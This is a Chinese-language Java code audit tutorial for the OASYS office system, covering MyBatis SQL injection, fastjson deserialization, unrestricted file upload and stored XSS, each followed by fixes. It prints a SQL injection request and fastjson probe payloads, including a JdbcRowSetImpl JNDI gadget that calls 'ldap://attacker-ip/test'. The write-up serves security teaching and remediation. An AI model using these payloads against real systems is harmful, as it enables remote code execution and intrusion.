记一次java代码审计(2)
字数 1637 2025-08-06 12:21:02
Java代码审计实战教学:OA系统安全漏洞分析与验证
项目概述
本次审计的目标系统是OASYS,一个OA办公自动化系统,采用以下技术栈:
- 项目管理:Maven
- 后端框架:SpringBoot 1.5.6.RELEASE
- 数据库:MySQL
- 前端技术:Freemarker模板引擎 + Bootstrap UI框架
- 集成框架:JPA、Mybatis
- 其他组件:fastjson 1.2.36、fileupload 1.3.2
环境搭建
-
系统要求:
- Windows 10操作系统
- Java 1.8.0_261
- MySQL 5.7.26(推荐使用PHPstudy内置版本)
-
数据库配置:
- 使用Navicat创建新连接
- 创建名为"oasys"的数据库
- 导入提供的oasys.sql文件
-
项目启动:
- 使用IDEA打开项目
- 等待Maven自动加载依赖(可配置加速源)
- 修改
application.properties配置文件:# 数据库连接配置 spring.datasource.url=jdbc:mysql://localhost:3306/oasys?useUnicode=true&characterEncoding=UTF-8 spring.datasource.username=root spring.datasource.password=root spring.datasource.driver-class-name=com.mysql.jdbc.Driver # 其他配置 server.port=8088 spring.mvc.static-path-pattern=/static/** - 启动项目后访问:http://127.0.0.1:8088
代码审计与漏洞分析
1. MyBatis SQL注入漏洞
审计过程:
- 全局搜索
${查找XML文件中的动态SQL拼接 - 定位到
allDirector方法及其返回类型为Map的实现 - 分析
outAddress方法中对am.allDirector的调用
漏洞验证:
构造以下HTTP请求测试SQL注入:
POST /outaddresspaging HTTP/1.1
Host: localhost:8088
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=55DD494815FDC35487ED3DB2CA209D6D
Content-Length: 45
pageNum=1&baseKey=&outtype=1'&alph=&userId=
漏洞原理:
- 在MyBatis XML映射文件中直接使用
${param}进行参数拼接而非预编译的#{param} - 攻击者可通过控制
outtype参数注入恶意SQL片段
修复建议:
- 将所有
${param}替换为#{param} - 使用MyBatis的参数绑定机制
2. Fastjson反序列化风险
风险分析:
- 系统使用fastjson 1.2.36版本
- 该版本存在已知反序列化漏洞(CVE-2017-18349等)
检测方法:
-
JNDI请求延迟检测:
{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker-ip/test", "autoCommit":true } } -
显错判断:
{"@type": "java.lang.AutoCloseable"} -
DNS请求检测:
{"name":{"@type":"java.net.InetAddress","val":"dnslog.cn"}}
修复建议:
- 升级fastjson至最新安全版本(≥1.2.83)
- 禁用autotype功能:
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
3. 文件上传漏洞
审计过程:
- 发现使用commons-fileupload组件
- 定位到
uploadfile方法调用fs.savefile() - 分析发现保存文件时仅做简单拼接,无任何过滤
漏洞验证:
- 上传包含恶意代码的文件(如Webshell)
- 虽然前端无回显,但服务器上已存储恶意文件
修复建议:
- 实施白名单文件扩展名验证
- 重命名上传文件(避免目录穿越)
- 设置文件内容类型检查
- 限制上传目录权限
4. XSS漏洞
审计过程:
- 分析数据流:
TypeSysController.java→ 数据库 →typeedit.ftl - 发现未对用户输入进行过滤直接存入数据库
- 前端通过EL表达式直接输出未转义内容
漏洞验证:
在"类型管理"→"修改"功能中注入XSS payload
修复建议:
- 实施输入过滤和输出编码
- 使用安全框架如OWASP ESAPI
- 设置Content Security Policy(CSP)
总结与修复方案
-
SQL注入:
- 使用预编译语句替换动态SQL拼接
- 实施最小权限原则
-
Fastjson:
- 立即升级至安全版本
- 禁用危险功能
-
文件上传:
- 实施严格的文件类型检查
- 存储上传文件到非web可访问目录
-
XSS:
- 实施全面的输入验证和输出编码
- 使用现代前端框架的安全特性
-
其他建议:
- 定期进行安全审计
- 实施WAF作为临时防护措施
- 建立安全开发生命周期(SDLC)
通过本次审计,我们发现了多个高危漏洞,这些漏洞可能导致系统被完全控制。建议开发团队按照修复建议立即进行修复,并建立长期的安全开发规范。